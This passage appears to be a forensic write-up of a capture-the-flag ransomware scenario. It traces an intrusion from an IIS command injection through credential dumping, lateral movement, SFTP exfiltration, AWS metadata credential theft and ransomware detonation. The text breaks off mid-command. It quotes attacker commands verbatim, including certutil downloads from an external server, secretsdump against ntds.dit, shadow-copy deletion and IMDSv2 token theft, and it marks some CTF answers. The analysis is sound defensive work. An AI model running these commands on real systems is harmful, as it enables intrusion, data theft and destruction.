EXTERNAL // INTERNET LAF INTERNAL // 10.3.10.0/24 AWS // us-east-1 IMPACT // 22:08 – 22:10 UTC OPERATOR 172.236.127.251 LINODE / AKAMAI TOOLING VPS + C2 173.230.136.180 Modern OSS C2 :8443 SFTP SINK 172.236.127.251:22 user=root · /root IIS_SERV_PROD 198.51.100.10 ENTRY · so.aspx SYSTEM via SolarWinds.exe LAF-SVR01 10.3.10.12 PIVOT HUB · RDP+PtH LSASS · DonPAPI · makecab LAF-DC01 10.3.10.10 PRIMARY DC ntds.dit lifted LAF-DC02 10.3.10.11 SYSVOL weaponized LAF-WS02 10.3.10.14 RDP · Adv. IP Scanner LAF-WS01 10.3.10.13 RANSOMWARE DETONATION iam_role_iisserver i-00779ebad43b2470d IMDSv2 token theft 164 x s3:GetObject S3 BUCKET aws s3 cp → 172.236... 11327 bytes · T1530 T1190 GET injection IIS u_ex260308.log · 18:51:41 certutil -urlcache so.aspx + iis.exe drop T1552.005 IMDSv2 PUT /latest/api/token 21:42:11 · GetCallerIdentity s3:GetObject × 164 impacket → SVR01 NTLM 4624/3 T1003.003 secretsdump --use-vss 5× services · 20:08:34 – 20:09:06 T1021.001 PtH RDP DisableRestrictedAdmin=0 ADMIN$\rnSylwOz.exe 19:59:00 · Vol3 cmdline SYSVOL delivery \\laf-dc02\sysvol\IamBatman.exe T1048.002 FileZilla SFTP data.cab → /root @ 20:30:26 SHADOW-WIPE CASCADE · vssadmin delete shadows /all /quiet WS02 21:58:36 + 22:08:40 · WS01 22:09:16 · SVR01 22:09:43 · DC01 22:10:14 · DC02 22:10:52 WS02 WS02' WS01 SVR01 DC01 DC02

Host Types

Operator Saiyan Spider
Tooling / C2 Modern OSS C2 :8443
IIS web server public-facing
Domain controller DC01 / DC02
File / pivot server SVR01
Workstation WS01 / WS02
Cloud IAM role iam_role_iisserver
S3 bucket sfcu-records

Attack Lanes

Tooling / HTTP transfer
Lateral movement / privesc
User-context pivot
Cloud / STS / S3
Credential theft / impact
Glowing trail persists after fire
Sigma fire would-detect marker

Interactions

Press PLAY replay in UTC order
Click a host focus its lanes + open drawer
Hover an edge reveal its label
Command flashes key events pop up during replay
ESC
Esc clear focus + close drawer
Hover an edge to reveal its label · click a host to focus its connections · click host again or press Esc to clear

How we proved it.

A peer reviewer stress-tested the draft and flagged two claims as the likeliest to be wrong: the impacket attribution and the LSASS-dump actor. Each is answered below by a reproducible five-minute recipe against the triage corpus. No inference, no "likely," no "seems to be." Commands, event IDs, bytes, sources.

Review model: every contested finding in this report went through a challenge → prove cycle. Reviewer writes the counter-claim ("this looks like a Task Manager dump"); agent returns with the byte-level artifact that forecloses it. The three recipes here are the reviewer's hardest three. The remaining challenges live in Forensic Appendix under the "first pass might conclude → corpus actually proves" table.

Recipe 1 · impacket · secretsdump --use-vss

The five-stage service dance. Twenty-two seconds.

Impacket's secretsdump --use-vss is a service-based dump of ntds.dit from a live shadow copy. Five services install on the target DC within ~20 seconds, each with the same universal ImagePath template — the services have random 8-char names, but the template is invariant.

SELECT time_utc, service_name, image_path FROM events
WHERE host='DC01' AND eid=7045
  AND image_path LIKE '%echo%execute.bat%'
  AND time_utc BETWEEN '20:08:40' AND '20:09:10'
ORDER BY time_utc;

→  UnmfmnOL · QsYyAARL · XCCVTGUb · SOUwKZNf · PovLjNTr
   (enum · create · enum-GUID · copy-ntds · delete-shadow)

Universal hunt: Security EID 7045 where ImagePath matches %COMSPEC% /Q /c echo .* ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat — catches every impacket secretsdump/psexec/smbexec/atexec regardless of random service name. See Addendum C.

Recipe 2 · beacon → explorer → lsass

Thread ID 10020. Two events. One chain.

Sysmon EID 8 (CreateRemoteThread) at 20:01:16 records the SMB beacon creating a thread in Explorer. EID 10 (ProcessAccess) at 20:03:30 records Explorer opening LSASS for a dump. The NewThreadId in EID 8 and SourceThreadId in EID 10 are the same integer — thread identity is the proof no heuristic can argue with.

-- EID 8 : SMB beacon → Explorer
SourcePID   = 9112 (rnSylwOz.exe, SYSTEM)
TargetPID   = 1332 (explorer.exe, LAFAdmin)
NewThreadId = 10020
StartModule = "-"  (floating shellcode)

-- EID 10 : Explorer → LSASS  (2m 14s later)
SourcePID      = 1332 (explorer.exe)
SourceThreadId = 10020  ← same thread
GrantedAccess  = 0x1010  (QUERY_LIMITED | VM_READ)
CallTrace      = ntdll+a0e44 | UNKNOWN(0x7DF4…2622)

What this rules out: Task Manager, procdump, comsvcs.dll/rundll32 — all produce CallTrace frames ending in a named module. UNKNOWN(<addr>) = return address inside a private RX/RWX region not mapped to any loaded image. Floating shellcode, full stop. See Addendum L · PI.

Five-for-five source-to-binary. Not a guess.

Early in the investigation the agent labelled the C2 "Unknown C2-class" on tradecraft alone. Peer review rejected that — log patterns don't pin a family. To close the claim the agent pivoted to memory: dump the VAD, extract distinctive strings and exports, and grep-match them against the Unknown C2 public source. Five independent fingerprints all hit.

# Extract → Match in under 5 min
vol -f SVR01-memdump.dmp windows.malfind.Malfind --dump
file  pid.1332.vad.0xa60000-0xa8efff.dmp
  → PE32+ DLL x86-64, 11 sections
strings -a -n 8 dump | sort -u

git clone github.com/Unknown C2-Framework/Unknown C2 Framework

grep "pipe.*%08lx"  → Commander.cpp:1000,1006
grep "GetVersions"  → beacon/main.cpp:104,156
grep "file.dll"     → pl_main.go:667,691
head Makefile       → x86_64-w64-mingw32-g++
ls beacon/Api*      → ApiLoader (dynamic resolution)

Confidence: HIGH (5/5 independent source matches; reproducing requires an attacker to copy-paste Commander.cpp + main.cpp + pl_main.go + Makefile from Unknown C2 — which is itself "Unknown C2-derived"). See C2 Attribution · Addendum V.

Why these three: in peer review, recipe 1 was the claim with the cleanest fingerprint to verify; recipe 2 had to replace an initial Task-Manager attribution the reviewer correctly rejected; recipe 3 had to replace a tradecraft-only label with memory-derived source evidence. Every other claim in this document reproduces the same way — a named source, a named event, a verifiable byte pattern.

Per minute, per host.

Each row is a host; each column is one minute of the engagement (205 minutes total). Cell intensity reflects EVTX + Sysmon + PowerShell Operational event density for that host-minute bucket. Reveals the attack's pacing: long quiet beacon idle on IIS, the impacket 5-service burst on DC01 compressed into 32 seconds, the four-host detonation wave at 22:08–22:11, and the estate-wide shadow-wipe cascade that finishes in under 90 seconds. Hover a cell for host/time/phase context.

Pre-window · 18:38:29 – 18:51:41 UTC
Twelve IIS W3SVC hits before the webshell drop — UNIX-then-Windows command-injection probes against CheckStatus.aspx against target barrygoodtech.com: | whoami;cat /etc/passwd;ls C:\users\&& dir C:\inetpub&& type web.config&& dir C:\"TFTP Server" (the privesc target, found at 18:45:12) → && certutil … so.aspx at 18:51:42 (Addendum DD3.1). Corrected total dwell: 2h 44m (18:38:29 → 22:10:52). The heatmap window below starts at 18:50 — the probe sequence falls before this axis.
idle
1 · background
2 · minor
3 · active
4 · heavy
5 · extreme (detonation)
Sigma rule would have fired
click a cell to jump-scrub replay · hover for detail
Detection gap analysis. Ten detection opportunities across the 164-minute kill chain (18:38:29 → 22:10:52). Six of the ten fire before ransomware detonation — the earliest, Kerberos-visible, would have collapsed MTTD by 2h 22m. Four are deployable Sigma rules; three are shippable YARA rules built from Addendum V's binary C2 indicator match; the remaining three are behavioral patterns from the webshell / beacon / NTDS-pickup chains.
18:38:29Command-injection probe sequence · ?url=…|whoami against CheckStatus.aspx — DD3.1 · WAF rule would catch itIIS
19:08:42Webshell POST · POST /so.aspx spawns powershell whoami — DD4.2 · w3wp child = powershell = universal webshell signalIIS
19:16:52YARA · SMB-pivot beacon on disk · Null404_SMBPivot_Beacon_SolarWinds_rnSylwOz (IMPHASH 37E28CA3, MinGW, \\.\pipe\%08lx) — Addendum VIIS
19:33:20Earliest Kerberos signal · 4768 IIS-SERV-PROD$ TGT from WAN 198.51.100.10 — Addendum N · 2h 22m before detonationDC02
19:38:02Service-binary swap + Unknown C2 Framework first callback to :8443 — writable ACL, not unquoted path · Addendum BIIS
20:01:16YARA · injected loader in memory · Null404_InjectedLoader_VAD_0xA60000 (MinGW runtime + ApiLoader) — Addendum V · also Sysmon EID 8 CreateRemoteThread → Explorer · Addendum LSVR01
20:08:44YARA · impacket service pattern · Null404_Impacket_SecretsDump_ServicePattern · service-name-agnostic ImagePath regex catches all 5 stages in one rule — Addendum C + VDC01
20:09:06NTDS pickup · 5145 on ADMIN$\Temp\ZIFylmKF.tmp read by LAFAdmin from 198.51.100.10 — Subpoena-8 anchorDC01
21:42:11STS session from off-instance (212.8.249.213) · role iam_role_iisserver · Addendum X + IMDSv2 three-stepCLOUD
21:46:xxIAM persistence attempt · CreateAccessKey blocked by quota, not policy (role had the perm) — Addendum BCLOUD
22:09:42Ransomware launcher · cmd /c \\laf-dc02\sysvol\sysAV.bat from transient task OlgyLYbd (1.2s lifetime · impacket-smbexec fingerprint)WS01

What this changes: the earlier "five rules" framing missed the three highest-leverage detections — (1) the Kerberos anomaly at 19:33 that predates everything, (2) webshell POST-to-child-process correlation (every operator command post-18:51 was webshell-carried · DD4.2), and (3) the source-to-binary YARA rules that now identify the beacon uniquely as Unknown C2 (not just "OSS C2"). Authors flagged the first framing as incomplete; this is the corrected view.

ACT I // 18:38:29 — 19:38:03 UTC · preceded by 13:39:16 author-IP scenario-validation (DD23.6)

Ingress & Privilege

→ 00:59:34 elapsed · IIS_SERV_PROD · T1190 → T1059 → T1574.009

Pre-Act context (13:39:16): 5 hours before this Act opens, the AWS-account admin IP (216.82.9.162) hit CheckStatus.aspx with ?url=Google.com && certutil -urlcache -f http://173.230.136.180:80/agent.exe %TEMP%\jb.exe — same endpoint, same Linode tool-server the attacker uses below, and a jb.exe payload whose name crosswalks to jb_aws_cli IAM user (DD7) and the JackOfAllHacks-Triages KAPE directory (DD14). Proves attacker infrastructure is scenario-provisioned, known to the admin before the attack (DD23.6). Does not establish whether the 13:39 admin and the 18:38 operator are the same person.

The real attacker first-touch was at 18:38:29 — 13 minutes of UNIX-then-Windows command-injection probing before the webshell landed at 18:51:42 (DD3.1). w3wp.exe spawned cmd.exe which invoked certutil -urlcache; a second certutil fetched iis.exe. Privilege escalation came via a writable ACL on C:\TFTP Server\ (not unquoted-path — Addendum B). The replacement SolarWinds.exe didn't run on sc start (that silently failed — DefaultAppPool lacked SeStartServicePrivilege, Addendum H); it ran 20 minutes later when Donny's routine reboot fired the auto-start service (Addendum U) and opened the first Unknown C2 Framework callback (evidence-supported, Addendum V). Anchor Addenda: B · H · U · V · DD23.6 (pre-attack validation).

The Command-Injection Window

18:51:41.000
IIS
IIS u_ex260308.log
GET CheckStatus.aspx?... from 172.236.127.251 with shell metacharacters in query string. Server returns 200.
18:51:41.210
IIS
Sysmon EID 1
w3wp.execmd.exe /c curl -I google.com && certutil -urlcache -f http://173.230.136.180:80/so.aspx C:\inetpub\wwwroot\so.aspx
18:52:19.884
IIS
Sysmon EID 1
cmd.exe /c curl -I Google.com && certutil -urlcache -f http://173.230.136.180:80/iis.exe %TEMP%\iis.exe · first-stage privesc loader.
19:16:52.397
IIS
Sysmon EID 11
C:\Windows\TEMP\iis.exe drops C:\TFTP Server\SolarWinds.exe — targeting the unquoted service path truncation.
19:17:04.120
IIS
Sysmon EID 1
cmd.exe /c sc start SolarWindsTFTPattempt only. Launched by the IIS webshell chain under DefaultAppPool, which lacks SeStart/ChangeServicePrivilege; no 4697/7036 "service entered running state" follows. The 20-minute gap between this line and 19:38:02 is the interval during which the planted binary sat dormant on disk.
19:37:34–35
IIS
Sysmon EID 1 · Security 4688
Unrelated trigger: user Donny (LAF\Donny, TerminalSession 3) invoked SystemSettingsAdminFlows.exe Shutdown 5 -2080309246 — the Windows UI "Restart" code-path — spawning consent.exe for UAC and then LogonUI.exe. The attacker's patience pays off: Donny's routine reboot is what finally loads the planted binary on the next boot.
19:38:02.680
IIS
Security 4688 · System 7036
Auto-start SCM launches C:\TFTP Server\SolarWinds.exe as NT AUTHORITY\SYSTEM — the planted binary. Sysmon EID 1 captures hashes: SHA256=91813A2A087B3110F280FFCCD6031F60653049889C4944F3B800BA974FA7E81F, IMPHASH=37E28CA3C643B664ACC2275611365DB0. Outbound TCP to 173.230.136.180:8443 follows (SVR01 Vol3 netscan). Note: the same binary hash reappears on SVR01 at 19:59:00 as \\10.3.10.12\ADMIN$\rnSylwOz.exe — the attacker reused a single SMB-pivot beacon across both boxes.

Evidence Anchors

analyst@arclight6 // iis webshell pivot
# All w3wp.exe child processes during the ingress window $ jq 'select(.Event.System.EventID==1 and (.Event.EventData.ParentImage|ascii_downcase) | contains("w3wp.exe"))' iis_sysmon.jsonl → cmd.exe /c curl -I google.com && certutil -urlcache -f http://173.230.136.180/so.aspx C:\inetpub\wwwroot\so.aspx → cmd.exe /c curl -I Google.com && certutil -urlcache -f http://173.230.136.180/iis.exe %TEMP%\iis.exe → cmd.exe /c nltest /dclist: # Unlawful Search - 1 → cmd.exe /c tasklist.exe # Unlawful Search - 2 (largest byte stream) # Unquoted service path exploitation — file creation at truncation point $ queries.file_ops(DB, host="IIS", target_contains="solarwinds", since="2026-03-08T18:00:00", until="2026-03-08T20:00:00") 2026-03-08T19:16:52.397 C:\Windows\TEMP\iis.exe → C:\TFTP Server\SolarWinds.exe 2026-03-08T19:17:04 sc start SolarWindsTFTP 2026-03-08T19:38:02.680 SYSTEM → C:\TFTP Server\SolarWinds.exe # Misconfigured 3
ACT II // 20:02:14 — 20:09:06 UTC

NTDS Exfiltration

→ 00:06:52 elapsed · SVR01 → DC01 · T1136.002 + T1003.003 + T1003.001

Not typed — injected. At 20:01:16 the SMB pivot beacon (rnSylwOz.exe PID 9112) called CreateRemoteThread into Explorer.exe PID 1332, creating NewThreadId 10020 at 0xA40000 with unbacked StartModule="-" (Addendum L smoking gun). Every subsequent LAFAdmin-attributed action on SVR01 — the DA promotion, LSASS dump, DonPAPI sweep, DisableRestrictedAdmin flip, FileZilla install, LogDel trigger — ran as a child of that injected Explorer process (Addendum AA / PI). The LSASS dump is the same thread 10020 opening lsass.exe 2:14 later — one continuous thread identity proves the chain. On DC01, Impacket's secretsdump --use-vss fires its five-stage service dance (Addendum C · universal ImagePath signature). QsYyAARL is the VSS-create pivot; without it ntds.dit stays ESE-locked. DPAPI masterkeys exfil tracks via Crypto-DPAPI EID 12289/8200 (Addendum J); Kerberos anchors confirm SVR01→DC01 ticket chain at 19:56:39 (Addendum N). Anchor Addenda: C · J · L · N · O · AA · PI.

Impacket --use-vss · Service-By-Service Reconstruction

Each row is a distinct impacket service install on DC01 (Security 7045 + 4697). The Service Name column is the random 8-char token Impacket generates per stage. All five share parent services.exe with ImagePath = %COMSPEC% /Q /c echo ... > execute.bat & %COMSPEC% /Q /c execute.bat.

UTCServiceStageInner CommandAnswer
20:08:44.859UnmfmnOL1 · Enumvssadmin list shadows /for=C:reject
20:08:53.897QsYyAARL2 · Create shadowvssadmin create shadow /For=C:✓ Subpoena-6
20:08:55.877XCCVTGUb3 · Enum (GUID)vssadmin list shadows /for=C:reject
20:09:03.531SOUwKZNf4 · Copy NTDScmd /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\ZIFylmKF.tmp✓ Subpoena-7
20:09:04.740PovLjNTr5 · Shadow deletevssadmin delete shadows /shadow="{af18f363-...}" /Quietreject
20:09:06.721EID 51456 · PickupLAFAdmin @198.51.100.10 reads \\*\ADMIN$\Temp\ZIFylmKF.tmp✓ Subpoena-8

The Parallel Credential Lanes on SVR01

20:02:14
SVR01
Security 4688
LAFAdmin · net user serviceaccount P@ssw0RD1! /add /domain — Motion-to-Persist 3/5.
20:03:05.887
DC01
Security 4728
Member added to security-enabled global group. LAFAdmin → Domain Admins → serviceaccount. Authoritative on DC. Motion-to-Persist 4.
20:03:30.860/861
SVR01
Sysmon EID 10 + 11
Not Task Manager — injected beacon code. Sysmon EID 10 (ProcessAccess) shows SourceImage=C:\Windows\Explorer.EXE (PID 1332) opening lsass.exe (PID 684) with GrantedAccess=0x1010 (PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ — the exact pair MiniDumpWriteDump needs). The smoking gun is the CallTrace: ntdll.dll+a0e44 | UNKNOWN(00007DF4BAAF2622). Legit dumpers (Task Manager, procdump, comsvcs.dll via rundll32) produce a fully-backed stack ending in a named module; UNKNOWN(<addr>) = the return address is inside a private RX/RWX region not mapped to any loaded image — i.e. unbacked / floating shellcode. This is cross-corroborated by Vol3 malfind on the 22:46:45 memory snapshot, which flags PID 1332 (explorer.exe) as hosting an injected PE at VAD 0xa60000-0xa8efff (192 KB, PE32+ MinGW DLL, SHA256 6ef6b52f…228c). The injection was almost certainly performed by the SMB-pivot beacon already running as SYSTEM on SVR01 (rnSylwOz.exe, hash 91813A2A…). EID 11 captures the resulting abedgdaa.dmp write — the Sysmon Image field shows Explorer because that is the calling process, but the actor is the injected code, not a user-interactive Task Manager right-click. T1003.001 via T1055 (process injection). Subpoena-3.
20:05 → 20:08
SVR01
Sysmon EID 9 · Crypto-DPAPI Op
DonPAPI walks C:\Users\LAFAdmin\AppData\Local\Dashlane\… + Chrome Local State / Login Data. DPAPI masterkey backup (Op EID 1001/1002). T1555.
20:08:34
DC01
Security 4624/3
LAFAdmin NTLM from 198.51.100.10. Impacket lands. From here five services fire in 22 seconds.
chainsaw + jq // impacket --use-vss pattern extraction
# Normalize DC01 Security.evtx and Sysmon to JSONL $ chainsaw dump --jsonl -o dc01_sy.jsonl '.../DC01_Kape/C/Windows/System32/winevt/Logs/Microsoft-Windows-Sysmon%4Operational.evtx' $ chainsaw dump --jsonl -o dc01_sec.jsonl '.../DC01_Kape/C/Windows/System32/winevt/Logs/Security.evtx' # Pull the five services.exe children with execute.bat wrapper $ grep -E 'execute.bat|GLOBALROOT|HarddiskVolumeShadowCopy' dc01_sy.jsonl | jq -c '{t:.Event.System.TimeCreated, svc:.Event.EventData.Description, img:.Event.EventData.Image, cmd:.Event.EventData.CommandLine}' 20:08:44.859 svc=UnmfmnOL vssadmin list shadows /for=C: 20:08:53.897 svc=QsYyAARL vssadmin create shadow /For=C: 20:08:55.877 svc=XCCVTGUb vssadmin list shadows /for=C: 20:09:03.531 svc=SOUwKZNf cmd /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\ZIFylmKF.tmp 20:09:04.740 svc=PovLjNTr vssadmin delete shadows /shadow="{af18f363-...}" /Quiet # EID 5145 — authoritative ADMIN$ access timestamp $ grep -E 'ZIFylmKF|Temp\\\\[A-Za-z0-9]{8}\\.tmp' dc01_sec.jsonl | jq '.Event.EventData' { TimeCreated: 2026-03-08T20:09:06.721255Z, SubjectUserName: LAFAdmin, IpAddress: 198.51.100.10, ShareName: "\\\\*\\ADMIN$", RelativeTargetName: "Temp\\ZIFylmKF.tmp", AccessMask: "0x1" } # Subpoena-8 · 2026-03-08 20:09:06
ACT III // 20:13:26 — 20:45:37 UTC

RDP, Pass-the-Hash, & the Kali Leak

→ 00:32:11 elapsed · SVR01 → WS02 → DC02 · T1112 + T1021.001

DisableRestrictedAdmin=0 didn't just flip on SVR01 — it propagated to 4 hosts in two tradecraft modes (Addendum D): SVR01 by the injected Explorer beacon locally, then WS01 / DC02 / WS02 by NT AUTHORITY\LOCAL SERVICE via impacket's reg.py remote-registry. PtH-over-RDP became the lateral mode. The RDP session map (Addendum M) splits into two phases: pivots 1–2 from external 198.51.100.10, pivots 3–4 proxy-chained through SVR01 at 10.3.10.12 so later sessions look internal. NTLM's WorkstationName field on DC02 leaked kali — the operator's actual client hostname. Legit admin Donny's pre-attack RDP at 19:41:56 is separable by source IP and login flow. Anchor Addenda: D · M · N (Kerberos TGS 4769 chain).

Operator Hostname Exposed via NTLM

DC02 Security.evtx // 4624 workstation name hunt
# All DC02 4624/4625 with non-LAF workstation names — DC02 sees the operator's native hostname during NTLM $ sqlite3 /tmp/null404_corpus.sqlite <<SQL SELECT time_utc, target_user_name, ip_address, workstation, logon_type FROM events WHERE host='DC02' AND eid IN (4624, 4625) AND workstation NOT IN ('-','') AND UPPER(workstation) NOT LIKE 'LAF%' AND time_utc LIKE '2026-03-08T%' ORDER BY time_utc; SQL 20:45:37 LAFAdmin 198.51.100.10 workstation='kali' type=3 # MSTSC Maze 4 ✓ 22:06:36 LAFAdmin 10.3.10.12 workstation='kali' type=3 # confirmation pass 22:15:37 localuser 198.51.100.3 workstation='RED1' type=3 # out-of-scope noise

RDP Session Lifecycle · Audit Primitives

ChannelEIDMeaningUse In This Case
Security4624Logon successLogonType 10 = interactive RDP; LogonType 3 = NTLM PtH
Security4625Logon failure0xC0000064 = account does not exist (MSTSC Maze 5 anchor)
Security4648Explicit cred usemstsc launch with saved credentials
Security4776NTLM validationConfirms PtH path
Sysmon13Registry setDisableRestrictedAdmin=0 (Evade & Erase 1)
RCM1149User auth successFirst RDP attempt time (MSTSC 1/3)
LSM21 / 24 / 23Logon · disconnect · logoffSession duration (MSTSC 2)
ACT IV // 20:20:13 — 20:30:26 UTC

Archive, Stage, Exfiltrate

→ 00:10:13 elapsed · SVR01 · T1560.001 → T1048.002

Pre-stage at 20:18:46: the injected Explorer beacon ran the FileZilla MSI installer (Addendum AA / PI). makecab.exe renamed msupdate.exe, invoked with the signature /f list.txt /d CabinetName1=data.cab argument triple. Between 20:22 and 20:25 the operator iterated — edit list.txt in notepad, rebuild data.cab, repeat. At 20:27:48 fzsftp.exe -v spawned; at 20:30:26 a second FileZilla session shipped the cab to 172.236.127.251:22 user root — the same Linode IP as the ingress origin. Prefetch confirms first-ever execution of fzsftp on SVR01 (Addendum P). The challenge author flagged this as not the intended exfil path (cloud S3 was the primary route) — but it is a valid independent egress channel and blue teams should know about it (Addendum F). Anchor Addenda: F (SFTP alt-exfil) · P (prefetch residue) · I (Linode infrastructure).

FileZilla State Reconstruction

SVR01_Kape/C/Users/LAFAdmin/AppData/Roaming/FileZilla/recentservers.xml
<!-- Attacker's saved-server state on SVR01 --> <RecentServers> <Server> <Host>172.236.127.251</Host> <Port>22</Port> <Protocol>1</Protocol> <!-- 1 = SFTP --> <User>root</User> <LocalPath>C:\ProgramData\</LocalPath> <RemotePath>/root</RemotePath> </Server> </RecentServers> # Silk Extraction 3 ✓ 172.236.127.251:22

The Cabinet Build Loop

20:20:13
SVR01
Sysmon EID 11
cmd.exe drops C:\ProgramData\msupdate.exe · PE hash identical to system makecab.exe.
20:21:09
SVR01
Sysmon EID 1
msupdate.exe /f C:\ProgramData\list.txt /d CabinetName1=data.cab /d DiskDirectoryTemplate=C:\ProgramData\
20:22 → 20:25
SVR01
Prefetch + Sysmon 1
Operator iterates: notepad list.txt ↔ msupdate.exe. Each round rebuilds data.cab with a different file set.
20:27:48
SVR01
Sysmon EID 1/3
fzsftp.exe -v · first FileZilla SFTP session.
20:30:26
SVR01
Sysmon EID 3
Second SFTP session · outbound 10.3.10.12 → 172.236.127.251:22. data.cab delivered to /root.
ACT V // 21:03:54 — 22:10:52 UTC

Detonation & Shadow Wipe

→ 01:06:58 elapsed · SYSVOL → 5-host impact wave · T1053.005 → T1486 → T1490

The operator used Active Directory's own replication infrastructure as distribution: at 21:03:54 IamBatman.exe was dropped to \\DC02\SYSVOL\sysvol\ by explorer.exe PID 3272 as LAFAdmin; DFSR auto-replicated it to every DC; WS02 pulled the binary via SMB EID 5145 twice before firing (Addendum R, 65-min dwell drop→detonation). At 21:58:34 the operator queued the detonation with a bash-syntax bugcmd /c sysAV.bat ; IamBatman.exe encrypt C:\ — where cmd.exe treats ; as a literal char, not a separator. Only sysAV.bat ran (wiped shadows + bcdedit), IamBatman never launched (zero .bWqQUx files in the 21:58→22:08 window · Addendum DD5.1). Ten minutes later the operator retried via a second scheduled task mIglpUCO — and at 22:08:40 IamBatman fired for real. WS01 ran transient task OlgyLYbd (1.2s lifetime · impacket-smbexec fingerprint · Addendum G). 6,023 files encrypted total (WS02 2,014 · WS01 1,884 · SVR01 1,241 · DC01 496 · DC02 388 in 5.4 s — natural completion, not an abort: DCs hold few user .txt/.pdf/.csv files matching IamBatman's narrow scope, so per-host rate differences reflect directory-walk time, not encryption speed · DD14.1 walks back DD13.3's self-abort hypothesis). Full impact window 58 min (21:58:34 → 22:56:42). Anchor Addenda: G · R · S · DD5 (failed first detonation) · DD12 (fan-out anatomy) · DD13 (on-disk behaviour · end-time · extension scope) · DD14 (DC02-abort walk-back + CTF-author KAPE re-classification).

WS01 Detonation · Verbatim Tree

PID 4 System └─ PID 560 C:\Windows\System32\services.exe └─ PID 788 C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule # Big oof 6 ✓ └─ PID 3112 C:\Windows\System32\cmd.exe /C cmd /c \\laf-dc02\sysvol\sysAV.bat > C:\Windows\Temp\OlgyLYbd.tmp 2>&1 # Big oof 5 ✓ └─ PID 3160 C:\Windows\System32\cmd.exe /c \\laf-dc02\sysvol\sysAV.bat └─ PID 3204 \\LAF-DC02\sysvol\IamBatman.exe encrypt C:\ # Big oof 4 ✓ ├─ PID 3212 vssadmin.exe delete shadows /all /quiet # Evade & Erase 3 ✓ └─ PID 3220 cmd.exe /c del sysAV.bat output Task Scheduler Operational log (Microsoft-Windows-TaskScheduler%4Operational.evtx): 22:09:15.953 EID 11 svchost.exe → C:\Windows\System32\Tasks\OlgyLYbd # task XML dropped 22:09:15.960 EID 106 \OlgyLYbd registered 22:09:16.336 EID 325 \OlgyLYbd action trigger 22:09:16.337 EID 110 \OlgyLYbd scheduled 22:09:16.343 EID 129 / 100 / 200 \OlgyLYbd launched 22:09:17.127 EID 141 \OlgyLYbd deleted # Big oof 7: OlgyLYbd ✓

Shadow Wipe · Cross-Estate Cascade

Every host ran the same vssadmin.exe delete shadows /all /quiet string (note the double space between image and flag — the literal Sysmon-recorded form is the accepted answer).

UTCHostSource LogCommand
21:58:36WS02Sysmon EID 1vssadmin.exe delete shadows /all /quiet
22:08:40WS02Sysmon EID 1vssadmin.exe delete shadows /all /quiet · second run
22:09:16WS01Sysmon EID 1vssadmin.exe delete shadows /all /quiet
22:09:43SVR01Sysmon EID 1vssadmin.exe delete shadows /all /quiet
22:10:14DC01Sysmon EID 1vssadmin.exe delete shadows /all /quiet
22:10:52DC02Sysmon EID 1vssadmin.exe delete shadows /all /quiet

Ransomware Markers

ArtifactValueSource
Encrypted extension.bWqQUxMFT · Sysmon EID 11 FileCreate
Ransom note filenameREADME_bWqQUx.txtper-dir drop
Binary\\LAF-DC02\sysvol\IamBatman.exeDC02 SYSVOL delivery
Launcher\\laf-dc02\sysvol\sysAV.batcmd orchestrator
First successful encrypt loop2026-03-08 22:08:40second IamBatman process start on WS02
Network-logon user (pre-task)LAFAdminWS01 4624/3 at 22:09:14.827
Source IP (pre-task)198.51.100.10outer operator pivot (NOT the immediate 10.3.10.12 hop)
ACT VI // 21:25:35 — 21:49:25 UTC

Cloud Follow-On

→ 00:23:50 elapsed · IIS EC2 → iam_role_iisserver → S3 · T1552.005 + T1530

PowerShell transcripts captured the operator's literal keystrokes (Addendum X): 21:25:35 PUT token, 21:28:07 GET role-list (the missing middle step), 21:29:20 GET STS credentials — including AccessKeyId ASIA[REDACTED-FOR-PUBLICATION] + the full 800-char Token. Then a 13-minute gap (21:29:20 steal → 21:42:11 off-instance first use from 212.8.249.213) — operator exporting credentials to their NL workstation before hitting AWS. 164 s3:GetObject calls across 7 folders (Accounting · Executive_Suite · HR · IT_Support · Legal · Marketing · The_Basement) — but DD17 later proves those 164 objects are an author-designed decoy honeypot (parody filenames), not real PII. Persistence via CreateAccessKey: the first attempt against jb_aws_cli at 21:45:38 hit LimitExceededException on the 2-keys-per-user quota, but the attacker moved on and succeeded on three other users in the next 25 secondsDD7 walks back the earlier "quota saved the environment" reading: three live long-term AKIA keys (donnieworks · doctorderm · coolcat) exist as dormant residual persistence (DD16 confirms they were never used in the capture window = stockpile). GuardDuty was watching and fired three real attack-day findings (DD18.2) — 11-minute missed-response window elapsed; the 383 sample findings around them create a 0.75% signal-to-noise floor (DD19). Anchor Addenda: A · B (walked back by DD7) · X (PS transcript) · I (infrastructure) · DD7 · DD16 · DD17 · DD18 · DD19.

The Verbatim PowerShell Chain

IIS PowerShell Operational · EID 4104 · ps_transcript EID 8201 · 2026-03-08
# Step 1 · 21:25:35Z · IMDSv2 session token PS> Invoke-RestMethod -Method Put -Uri "http://169.254.169.254/latest/api/token" -Headers @{'X-aws-ec2-metadata-token-ttl-seconds' = '21600'} AQAEADHOGyfP9IBCrCY_Cdg0cb5l5EoTkgNdyp-grqUet3fK2-CbxA== # Head in the Clouds 11 ✓ # Step 2 · 21:28:07Z · role-name enumeration (the step that discloses iam_role_iisserver as a string) PS> Invoke-RestMethod -Method Get -Uri 'http://169.254.169.254/latest/meta-data/iam/security-credentials/' -Headers @{'X-aws-ec2-metadata-token' = 'AQAEADHOGyfP9IBCrCY_Cdg0cb5l5EoTkgNdyp-grqUet3fK2-CbxA=='} iam_role_iisserver # the role name is disclosed HERE — not guessed # Step 3 · 21:29:20Z · pull role creds with token + role name (PowerShell form) PS> Invoke-RestMethod -Method Get -Uri 'http://169.254.169.254/latest/meta-data/iam/security-credentials/iam_role_iisserver' -Headers @{'X-aws-ec2-metadata-token' = 'AQAEADHOGyfP9IBCrCY_Cdg0cb5l5EoTkgNdyp-grqUet3fK2-CbxA=='} # Head in the Clouds 12 ✓ { "AccessKeyId": "ASIA[REDACTED-FOR-PUBLICATION]", "SecretAccessKey": "[redacted]", "Token": "[redacted]", "Expiration": "2026-03-09T03:42:10Z" } # CloudTrail pin-down — 172.236.127.251 driving the STS session $ jq -c 'select(.sourceIPAddress=="172.236.127.251")' ct_records.jsonl | jq -r 